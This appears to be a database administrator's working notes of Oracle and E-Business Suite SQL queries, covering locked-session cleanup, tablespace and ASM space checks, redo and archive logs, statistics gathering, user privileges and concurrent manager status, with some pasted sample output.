SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in
(select
   distinct
   b.CLIENT_IDENTIFIER
from
   gv$locked_object a ,
   gv$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.client_identifier like 'AD1%' AND b.STATUS='INACTIVE');



LOCKED OBJECTS IN DATABASE
===========================
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id order by b.client_identifier;

select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id order by b.client_identifier;
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in (
select
  b.CLIENT_IDENTIFIER
  from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id
   and c.OBJECT_NAME like 'XXHR_REST_%'
)

session information
----------------------
SELECT INST_ID,SID,SERIAL#,USERNAME,STATUS,SCHEMANAME,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE MACHINE NOT IN ('PIESAPPL','PIESDB1','PIESDB2') AND OSUSER NOT IN ('SYSTEM')
AND lower(MODULE) NOT IN ('oraagent.exe','piaceclasslibraryhost.exe','wireportserver.exe','rdbmspi.exe') AND OSUSER NOT IN ('AA1007860','AD1007860') ORDER BY USERNAME,LOGON_TIME;
SELECT user_name username,
description name,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 3 DESC
/
SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
USER_SESSIONS_IN_LAST_4HOURS
-----------------------------
SELECT fn.node_name, 'Number of user sessions : ' || COUNT(DISTINCT session_id) user_sessions_in_last_6_Hours
FROM icx_sessions icx, fnd_nodes fn
WHERE fn.node_id = icx.node_id AND last_connect > sysdate -(4 / 24) AND disabled_flag != 'Y' AND pseudo_flag = 'N'
GROUP BY fn.node_name;
select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
and icx.PSEUDO_FLAG = 'N'
and icx.node_id=fnd.node_id
and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
group by icx.node_id,fnd.node_name;

select * from gv$resource_limit;
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;

select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
 and icx.PSEUDO_FLAG = 'N'
 and icx.node_id=fnd.node_id
 and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
 icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
 group by icx.node_id,fnd.node_name;
NODE_ID  NODE_NAME  HOW_MANY_USER_SESSIONS
------------------------------------------------------------------
3160   EBSLXPRDAP1  Number of user sessions : 44
5159   EBSLXPRDAP2  Number of user sessions : 251
6159   CAREERS  Number of user sessions : 27

select b.tablespace_name, tbs_size SizeMb, a.free_space FreeMB
from  (select tablespace_name, round(sum(bytes)/1024/1024 ,2) as free_space
       from dba_free_space
       group by tablespace_name) a,
      (select tablespace_name, sum(bytes)/1024/1024 as tbs_size
       from dba_data_files
       group by tablespace_name) b
where a.tablespace_name(+)=b.tablespace_name
ORDER BY 2 DESC;
TABLESPACE_NAME                    SIZEGB     FREEGB
------------------------------ ---------- ----------
APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08

query to check if tablespace/datafile/database is in active begin backup mode
------------------------------------------------------------------------------
 SELECT d.tablespace_name, b.time, b.status
 FROM dba_data_files d, v$backup b
 WHERE
 d.file_id = b.FILE#
 AND b.STATUS = 'ACTIVE' ;

GENERATED INVALID OBJECTS COMPILE STATEMENT
-------------------------------------------
 select
  'ALTER ' || OBJECT_TYPE || ' ' ||
    OWNER || '.' || OBJECT_NAME || ' COMPILE;'
    from
    dba_objects
    where
    status = 'INVALID'
    and
    object_type in ('PACKAGE','FUNCTION','PROCEDURE')
   ;




-----------------
size of  schemaS
----------------
SELECT s.owner,SUM (s.BYTES) / (1024 * 1024) SIZE_IN_MB FROM dba_segments s GROUP BY s.owner order by 2 desc;
BO_SYSTEM                        118.0625
BO_AUDIT                           1.1875
BOCMS                             47.3125
BOAUDIT                              8.25



table size
----------
SELECT owner,
segment_name,
segment_type,
tablespace_name,
bytes/1048576 MB,
initial_extent,
next_extent,
extents,
pct_increase
FROM
DBA_SEGMENTS
WHERE
OWNER = 'schema name here' AND
SEGMENT_NAME = 'table name here' AND
SEGMENT_TYPE = 'TABLE';
OWNER      SEGMENT_NAME    SEGMENT_TYPE       TABLESPACE_NAME      MB      INITIAL_EXTENT  NEXT_EXTENT    EXTENTS PCT_INCREASE
--------------------- ------------------ ------------------------------ ---------- -------------- ----------- ---------- -----
MAXIMO   WFASSIGNMENT        TABLE              MAXDATA            4594          81920     1048576        255

TOTAL DATABASE SIZE, USED SPACE & FREE SPACE DATABASE SIZE
=============
--------------------------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
 round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from    (select bytes
 from v$datafile
 union all
 select bytes
 from  v$tempfile
 union  all
 select  bytes
 from  v$log) used
, (select sum(bytes) as p
 from dba_free_space) free
group by free.p;

Which schemas are taking up all of the space
----------------------------------------------
select obj.owner "Owner"
, obj_cnt "Objects"
, decode(seg_size, NULL, 0, seg_size) "size MB"
from  (select owner, count(*) obj_cnt from dba_objects group by owner) obj
, (select owner, ceil(sum(bytes)/1024/1024) seg_size
 from dba_segments group by owner) seg
where  obj.owner  = seg.owner(+)
order by 3 desc ,2 desc, 1;

CHECK TABLE IN WHICH TABLESPACE
-------------------------------
select owner, table_name, tablespace_name
from dba_tables
where table_name='FND_USER';



check total temporary space usage
---------------------------------
select a.tablespace_name, a.contents, b.total_space,
       to_char(nvl(c.used_space,0),'99,999,990')||' ('||to_char(100*nvl(c.used_space,0)/nvl(b.total_space,1),'fm990')||'%)' used_space,
       to_char(nvl(d.free_space,0),'99,999,990')||' ('||to_char(100*nvl(d.free_space,0)/nvl(b.total_space,1),'fm990')||'%)' free_space
from   sys.dba_tablespaces a,
      (select tablespace_name, sum(bytes)/1024/1024 total_space
       from   sys.dba_temp_files
       group by tablespace_name) b,
      (select su.tablespace tablespace_name, sum(su.blocks*tb.block_size)/1024/1024 used_space, sum(su.extents) used_extents
       from   sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
       where  su.tablespace   = tb.tablespace_name
       and    su.inst_id      = ss.inst_id
       and    su.session_addr = ss.saddr
       and    ss.status in ('ACTIVE','INACTIVE')
       group by su.tablespace) c,
      (select tablespace_name, nvl(t2.total_space,0) - nvl(t1.used_space,0) free_space
       from  (select su.tablespace, sum(su.blocks*tb.block_size)/1024/1024 used_space
              from   sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
              where  su.tablespace   = tb.tablespace_name
              and    su.inst_id      = ss.inst_id
              and    su.session_addr = ss.saddr
              and    ss.status in ('ACTIVE','INACTIVE')
              group by su.tablespace) t1,
             (select tablespace_name, sum(bytes)/1024/1024 total_space
              from   sys.dba_temp_files
              group by tablespace_name) t2
       where  t1.tablespace(+) = t2.tablespace_name) d
where  a.tablespace_name = b.tablespace_name(+)
and    a.tablespace_name = c.tablespace_name(+)
and    a.tablespace_name = d.tablespace_name(+)
and    a.contents        = 'TEMPORARY'
order by a.tablespace_name
/
Query to check connected users
------------------------------
select
  username,
  osuser,
  terminal,
  utl_inaddr.get_host_address(terminal) IP_ADDRESS
from
  v$session
where
  username is not null
order by
  username,
  osuser;

TOP 50 TABLES BY SIZE
=====================
select top50.owner, top50.table_name, meg, a.num_rows
from dba_tables a,
   (Select * from (
SELECT
   owner, table_name, TRUNC(sum(bytes)/1024/1024) Meg
FROM
(SELECT segment_name table_name, owner, bytes
 FROM dba_segments
 WHERE segment_type like 'TABLE%'
 UNION ALL
 SELECT i.table_name, i.owner, s.bytes
 FROM dba_indexes i, dba_segments s
 WHERE s.segment_name = i.index_name
 AND   s.owner = i.owner
 AND   s.segment_type like 'INDEX%'
 UNION ALL
 SELECT l.table_name, l.owner, s.bytes
 FROM dba_lobs l, dba_segments s
 WHERE s.segment_name = l.segment_name
 AND   s.owner = l.owner
 AND   s.segment_type = 'LOBSEGMENT'
 UNION ALL
 SELECT l.table_name, l.owner, s.bytes
 FROM dba_lobs l, dba_segments s
 WHERE s.segment_name = l.index_name
 AND   s.owner = l.owner
 AND   s.segment_type = 'LOBINDEX')
GROUP BY table_name, owner
HAVING SUM(bytes)/1024/1024 > 10  /* Ignore small tables */
ORDER BY SUM(bytes) desc
) where rownum < 51) top50
where top50.owner =a.owner
and top50.table_name = a.table_name
order by meg desc, num_rows desc;





REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS
SELECT
    a.GROUP#,
    a.THREAD#,
    a.SEQUENCE#,
    a.ARCHIVED,
    a.STATUS,
    b.MEMBER    AS REDOLOG_FILE_NAME,
    (a.BYTES/1024/1024) AS SIZE_MB
FROM v$log a
JOIN v$logfile b ON a.Group#=b.Group#
ORDER BY a.GROUP# ASC;

add new redo log group and members of each 250M
-----------------------------------------------
ALTER DATABASE ADD LOGFILE thread 2 group 14 ('+DATA_EXA1/erpprd/ONLINELOG/log14a.rdo','+RECO_EXA1/erpprd/ONLINELOG/log14b.rdo') SIZE 250M;







FLASH RECOVERY AREA
-------------------
-------------------
====================
Percentage space used not feeable
-----------------------------------
SELECT Sum(percent_space_used)-Sum(percent_space_reclaimable) "PCT_SPACE_USED_NOT_FREEABLE" FROM v$flash_recovery_area_usage;
select * from v$flash_Recovery_Area_usage;


ABOUT ARCHIVE FILES
-------------------
===================
select trunc(first_time), sum(blocks*block_size)/1048576 Size_MB
from v$archived_log
where first_time > trunc(sysdate)-12
group by trunc(first_time)
order by 1;
select * from v$archived_log
where first_time>sysdate-1
order by first_time,thread#;
Check the last archive log applied or generated.
-------------------------------------------------
SQL> SELECT thread#,max(SEQUENCE#) FROM V$ARCHIVED_LOG group by thread#;
   THREAD# MAX(SEQUENCE#)
---------- --------------
         1          29926
         2           9871
Each user and their roles and privileges whose account_status='OPEN'
---------------------------------------------------------------------
select
  lpad(' ', 2*level) || granted_role "User, his roles and privileges"
from
  (
  /* THE USERS */
    select
      null     grantee,
      username granted_role
    from
      dba_users
    where
    account_status='OPEN'
  /* THE ROLES TO ROLES RELATIONS */
  union
    select
      grantee,
      granted_role
    from
      dba_role_privs
  /* THE ROLES TO PRIVILEGE RELATIONS */
  union
    select
      grantee,
      privilege
    from
      dba_sys_privs
  )
start with grantee is null
connect by grantee = prior granted_role;
SQL> SELECT * FROM dba_sys_privs WHERE privilege = 'UNLIMITED TABLESPACE';
GRANTEE                        PRIVILEGE                                ADM
------------------------------ ---------------------------------------- ---
BO                             UNLIMITED TABLESPACE                     NO
CD_INVENTORY                   UNLIMITED TABLESPACE                     NO
DBSNMP                         UNLIMITED TABLESPACE                     NO
DOAADMIN                       UNLIMITED TABLESPACE                     NO
IDMS                           UNLIMITED TABLESPACE                     NO
IXIDMS                         UNLIMITED TABLESPACE                     NO
MAILING                        UNLIMITED TABLESPACE                     NO
NTEXCHANGE                     UNLIMITED TABLESPACE                     NO
NTEXCHANGE_RO                  UNLIMITED TABLESPACE                     NO
OUTLN                          UNLIMITED TABLESPACE                     NO
SYS                            UNLIMITED TABLESPACE                     YES
SYSTEM                         UNLIMITED TABLESPACE                     YES
TEL_DIR                        UNLIMITED TABLESPACE                     NO
SELECT dd.tablespace_name tablespace_name, dd.file_name file_name, dd.bytes/1024/1024 TABLESPACE_MB, SUM(fs.bytes)/1024/1024 MBYTES_FREE, MAX(fs.bytes)/1024/1024 NEXT_FREE_MB
FROM sys.dba_free_space fs, sys.dba_data_files dd
WHERE dd.tablespace_name = fs.tablespace_name
AND dd.file_id = fs.file_id
GROUP BY dd.tablespace_name, dd.file_name, dd.bytes/1024/1024
ORDER BY dd.tablespace_name, dd.file_name;
TABLESPACE_NAME  FILE_NAME    TABLESPACE_MB  MBYTES_FREE  NEXT_FREE_MB
------------- ----------- ------------------------- ----------- -----------------------------
ADMIN   E:\ORADATA\SML\ADMIN01.ORA      50    46.5546875      46.28125
RBSN  F:\ORADATA\SML\RBSN1.ORA        150  74.8359375 74.8359375

select df.tablespace_name "Tablespace",
totalusedspace "Used MB",
(df.totalspace - tu.totalusedspace) "Free MB",
df.totalspace "Total MB",
round(100 * ( (df.totalspace - tu.totalusedspace)/ df.totalspace))
"Pct. Free"
from
(select tablespace_name,
round(sum(bytes) / 1048576) TotalSpace
from dba_data_files
group by tablespace_name) df,
(select round(sum(bytes)/(1024*1024)) totalusedspace, tablespace_name
from dba_segments
group by tablespace_name) tu
where df.tablespace_name = tu.tablespace_name ;

Tablespace                        Used MB    Free MB   Total MB  Pct. Free
------------------------------ ---------- ---------- ---------- ----------
ADMIN                                   3         48         51         94
RBSN                                   75         75        150         50
SYSTEM                                 74        176        250         70
USER_DATA                             546        954       1500         64

AUTOEXTEND ON QUERY
---------------------
select
   'alter database datafile '||
   file_name||
   ' '||
   ' autoextend on;'
from
   dba_data_files;

BIETL SESSION CONNECTED TO THE DATABASE NOW AND KILL SESSION SCRIPT TO BE GENERATED FOR THIS USER
**********************************----------------------------------*****************************
declare
  v_sid            pls_integer;
  v_serial#        pls_integer;
  v_user_name      varchar2(30);
  v_status         varchar2(20);
  v_error_code     number;
  v_error_text     varchar2(255);
  cursor c1 is
    select sid, serial#, username, status
    from   sys.v_$session
    where  type = 'USER'
    and    username ='BIETL'
    and    status   in ('ACTIVE','INACTIVE')
    and    username is not null
    and    sid      is not null
    and    serial#  is not null
    order by username, sid, serial#;
begin
  open c1;
  fetch c1 into v_sid, v_serial#, v_user_name, v_status;
  while c1%found loop
    dbms_output.put_line('alter system kill session '||rpad(''''||to_char(v_sid)||','||to_char(v_serial#)||'''',20,' ')||' immediate;');
    dbms_output.put_line('exit;');
    fetch c1 into v_sid, v_serial#, v_user_name, v_status;
  end loop;
  close c1;
end;
/
GATHER SCHEMA STATISTICS
------------------------
select count(table_name)  from  dba_tables  where  last_analyzed  is  NOT null AND OWNER='KOUNCIL';
ALTER SESSION SET NLS_DATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select *  from  dba_tables  where  last_analyzed  is  not null AND OWNER='KOUNCIL';

EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
EXECUTE DBMS_STATS.GATHER_DATABASE_STATS;
exec fnd_stats.gather_schema_statistics('GL');          <- One schema FROM ORACLE APPS
exec fnd_stats.gather_schema_statistics('ALL');         <- All schemas FROM ORACLE APPS
exec fnd_stats.gather_table_stats('GL','GL_JE_LINES');  <- One table FROM ORACLE APPS
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
SET TIME ON;
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('KOUNCIL');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('EB');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPLSYS');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPS');
EXECUTE DBMS_STATS.GATHER_database_STATS();

Users of a responsibility - to know who are users of a specific responsibility like 'system administrator'.
-----------------------------------------------------------------------------------------------------------
select usr.user_id, usr.user_name,usr.DESCRIPTION, res.RESPONSIBILITY_NAME, res.RESPONSIBILITY_ID
from apps.FND_USER usr, apps.FND_RESPONSIBILITY_TL res, apps.FND_USER_RESP_GROUPS grp
where upper(res.RESPONSIBILITY_NAME) like upper('%' || NVL('SYSTEM ADMINISTRATOR', 'INV')|| '%')
and upper(res.RESPONSIBILITY_NAME) NOT like '%AX%'
and upper(res.RESPONSIBILITY_NAME) NOT like '%OPM%'
and grp.responsibility_id = res.responsibility_id
and grp.user_id = usr.user_id;


select opname,message,time_remaining from v$session_longops where time_remaining<>0;
select * from v$session_longops where time_remaining<>0;

ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM
select NAME,
round((TOTAL_MB/1024),5) "Total GB",
round((TOTAL_MB-FREE_MB)/1024,5) "Used GB",
round(FREE_MB/1024,5) "Free GB",
round((((TOTAL_MB - FREE_MB)/TOTAL_MB) * 100),5) "% Used",
round((((TOTAL_MB - (TOTAL_MB - FREE_MB))/TOTAL_MB) * 100),5) "% Free"
from v$asm_diskgroup
order by NAME;
NAME                             Total GB    Used GB    Free GB     % Used    % Free
------------------------------ ---------- ---------- ---------- --------------------
OCR_VOTE                          2.99414      .9043    2.08984   30.20222  69.79778
PIEU_DATA                       199.99414  174.44336   25.55078   87.22424  12.77576
PIEU_FLASH                      399.99414    17.4834  382.51074    4.37091  95.62909
SELECT name, type, ceil(total_mb / 1024) total_gb, ceil(free_mb / 1024) free_gb, required_mirror_free_mb, ceil((usable_file_mb) / 1024)
FROM v$asm_diskgroup;
SELECT d.name disk_name, g.name group_name, d.path, d.total_mb, d.free_mb
FROM v$asm_disk d, v$asm_diskgroup g
WHERE d.group_number = g.group_number(+);
SELECT *
FROM v$asm_diskgroup;
SELECT name, type, total_mb, free_mb, required_mirror_free_mb, usable_file_mb
FROM v$asm_diskgroup;


=====WITH KEYWORD QUERY=====
WITH got_prnum_cnt AS
(
 SELECT  ponum, prnum, COUNT(DISTINCT prnum) OVER (PARTITION BY ponum) AS prnum_cnt
 FROM    prline
)
SELECT ponum, prnum
FROM got_prnum_cnt
WHERE prnum_cnt > 1
;

select wonum from PLUSGMOCREQUEST where workorderid in (
WITH DATA (OWNERID,ASSIGNSTATUS) AS (SELECT OWNERID,ASSIGNSTATUS FROM WFASSIGNMENT WHERE OWNERID IN (SELECT DISTINCT OWNERID FROM WFINSTANCE WHERE ACTIVE=1) ORDER BY OWNERID)
SELECT OWNERID
FROM DATA
group by OWNERID
having MAX(CASE ASSIGNSTATUS WHEN 'ACTIVE' THEN ASSIGNSTATUS ELSE NULL END) is null);

CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT
CHECK CONCURRENT MANAGER STATUS FROM BACK END
-----------------------------------------------
select decode(CONCURRENT_QUEUE_NAME,
 'FNDICM','Internal Manager',
 'FNDCRM','Conflict Resolution Manager',
 'AMSDMIN','Marketing Data Mining Manager',
 'C_AQCT_SVC','C AQCART Service',
 'FFTM','FastFormula Transaction Manager',
 'FNDCPOPP','Output Post Processor',
 'FNDSCH','Scheduler/Prereleaser Manager',
 'FNDSM_AQHERP','Service Manager: AQHERP',
 'FTE_TXN_MANAGER','Transportation Manager',
 'IEU_SH_CS','Session History Cleanup',
 'IEU_WL_CS',
 'UWQ Worklist Items Release for Crashed session',
 'INVMGR','Inventory Manager','
 INVTMRPM','INV Remote Procedure Manager','OAMCOLMGR',
 'OAM Metrics Collection Manager',
 'PASMGR','PA Streamline Manager',
 'PODAMGR','PO Document Approval Manager',
 'RCVOLTM','Receiving Transaction Manager',
 'STANDARD','Standard Manager',
 'WFALSNRSVC','Workflow Agent Listener Service',
 'WFMLRSVC','Workflow Mailer Service','WFWSSVC',
 'Workflow Document Web Services Service',
 'WMSTAMGR','WMS Task Archiving Manager',
 'XDP_APPL_SVC','SFM Application Monitoring Service',
 'XDP_CTRL_SVC',
 'SFM Controller Service',
 'XDP_Q_EVENT_SVC','SFM Event Manager Queue Service',
 'XDP_Q_FA_SVC','SFM Fulfillment Actions Queue Service',
 'XDP_Q_FE_READY_SVC','SFM Fulfillment Element Ready Queue Service',
 'XDP_Q_IN_MSG_SVC','SFM Inbound Messages Queue Service',
 'XDP_Q_ORDER_SVC',
 'SFM Order Queue Service',
 'XDP_Q_TIMER_SVC','SFM Timer Queue Service',
 'XDP_Q_WI_SVC','SFM Work Item Queue Service',
 'XDP_SMIT_SVC','SFM SM Interface Test Service') as "Concurrent Manager's Name",
  max_processes as "TARGET Processes",
  running_processes as "ACTUAL Processes"
  from apps.fnd_concurrent_queues
 where CONCURRENT_QUEUE_NAME
 in ('FNDICM','FNDCRM','AMSDMIN','C_AQCT_SVC','FFTM','FNDCPOPP','FNDSCH','FNDSM_AQHERP','FTE_TXN_MANAGER','IEU_SH_CS','IEU_WL_CS','INVMGR','INVTMRPM',
 'OAMCOLMGR','PASMGR','PODAMGR','RCVOLTM','STANDARD','WFALSNRSVC','WFMLRSVC','WFWSSVC','WMSTAMGR','XDP_APPL_SVC','XDP_CTRL_SVC','XDP_Q_EVENT_SVC',
 'XDP_Q_FA_SVC','XDP_Q_FE_READY_SVC','XDP_Q_IN_MSG_SVC','XDP_Q_ORDER_SVC','XDP_Q_TIMER_SVC','XDP_Q_WI_SVC','XDP_SMIT_SVC')
 order by 3 desc
 /


QUERIES TO KNOW WHAT CONCURRENT PROGRAMS WERE RUN FROM <start-date-time> to <end-date-time>
--------------------------------------------------------------------------------------------
select u.user_name,r.request_id,p.user_concurrent_program_name,r.actual_start_date,r.actual_completion_date,r.completion_text,
trunc((r.actual_completion_date-r.actual_start_date)*24*60,2) "TotalTimeInMinutes" from
fnd_concurrent_requests r,
fnd_user u,
fnd_concurrent_programs_tl p
where u.user_id=r.requested_by
and p.concurrent_program_id=r.concurrent_program_id
and phase_code='C' /* Completed */
and actual_completion_date is not null
and actual_start_date is not null
AND COMPLETION_TEXT='Normal completion'
and actual_start_date BETWEEN '19-JUN-2013 07:00:00 AM' AND '19-JUN-2013 05:00:00 PM'
order by "TotalTimeInMinutes" desc;
QUERY TO KNOW SCHEDULED CONCURRENT PROGRAMS.
--------------------------------------------
select r.request_id,
p.user_concurrent_program_name || nvl2(r.description,' ('||r.description||')',null) Conc_prog,
s.user_name REQUESTOR,
r.argument_text arguments,
r.requested_start_date next_run,
r.last_update_date LAST_RUN,
r.hold_flag on_hold,
r.increment_dates,
decode(c.class_type,
'P', 'Periodic',
'S', 'On Specific Days',
'X', 'Advanced',
c.class_type) schedule_type,
case
when c.class_type = 'P' then
'Repeat every ' ||
substr(c.class_info, 1, instr(c.class_info, ':') - 1) ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 1) + 1, 1),
'N', ' minutes',
'M', ' months',
'H', ' hours',
'D', ' days') ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 2) + 1, 1),
'S', ' from the start of the prior run',
'C', ' from the completion of the prior run')
when c.class_type = 'S' then
nvl2(dates.dates, 'Dates: ' || dates.dates || '. ', null) ||
decode(substr(c.class_info, 32, 1), '1', 'Last day of month ') ||
decode(sign(to_number(substr(c.class_info, 33))),
'1', 'Days of week: ' ||
decode(substr(c.class_info, 33, 1), '1', 'Su ') ||
decode(substr(c.class_info, 34, 1), '1', 'Mo ') ||
decode(substr(c.class_info, 35, 1), '1', 'Tu ') ||
decode(substr(c.class_info, 36, 1), '1', 'We ') ||
decode(substr(c.class_info, 37, 1), '1', 'Th ') ||
decode(substr(c.class_info, 38, 1), '1', 'Fr ') ||
decode(substr(c.class_info, 39, 1), '1', 'Sa '))
end as schedule,
c.date1 start_date,
c.date2 end_date,
c.class_info
from fnd_concurrent_requests r,
fnd_conc_release_classes c,
fnd_concurrent_programs_tl p,
fnd_user s,
(with date_schedules as (
select release_class_id,
rank() over(partition by release_class_id order by s) a, s
from (select c.class_info, l,
c.release_class_id,
decode(substr(c.class_info, l, 1), '1', to_char(l)) s
from (select level l from dual connect by level <= 31),
fnd_conc_release_classes c
where c.class_type = 'S'
and instr(substr(c.class_info, 1, 31), '1') > 0)
where s is not null)
SELECT release_class_id, substr(max(SYS_CONNECT_BY_PATH(s, ' ')), 2) dates
FROM date_schedules
START WITH a = 1
CONNECT BY nocycle PRIOR a = a - 1
group by release_class_id) dates
where r.phase_code = 'P'
and c.application_id = r.release_class_app_id
and c.release_class_id = r.release_class_id
and nvl(c.date2, sysdate + 1) > sysdate
and c.class_type is not null
and p.concurrent_program_id = r.concurrent_program_id
and p.language = 'US'
and dates.release_class_id(+) = r.release_class_id
and r.requested_by = s.user_id
order by conc_prog, on_hold, next_run;
============
CHANGE PASSWORD OF EBS USER THROUGH API
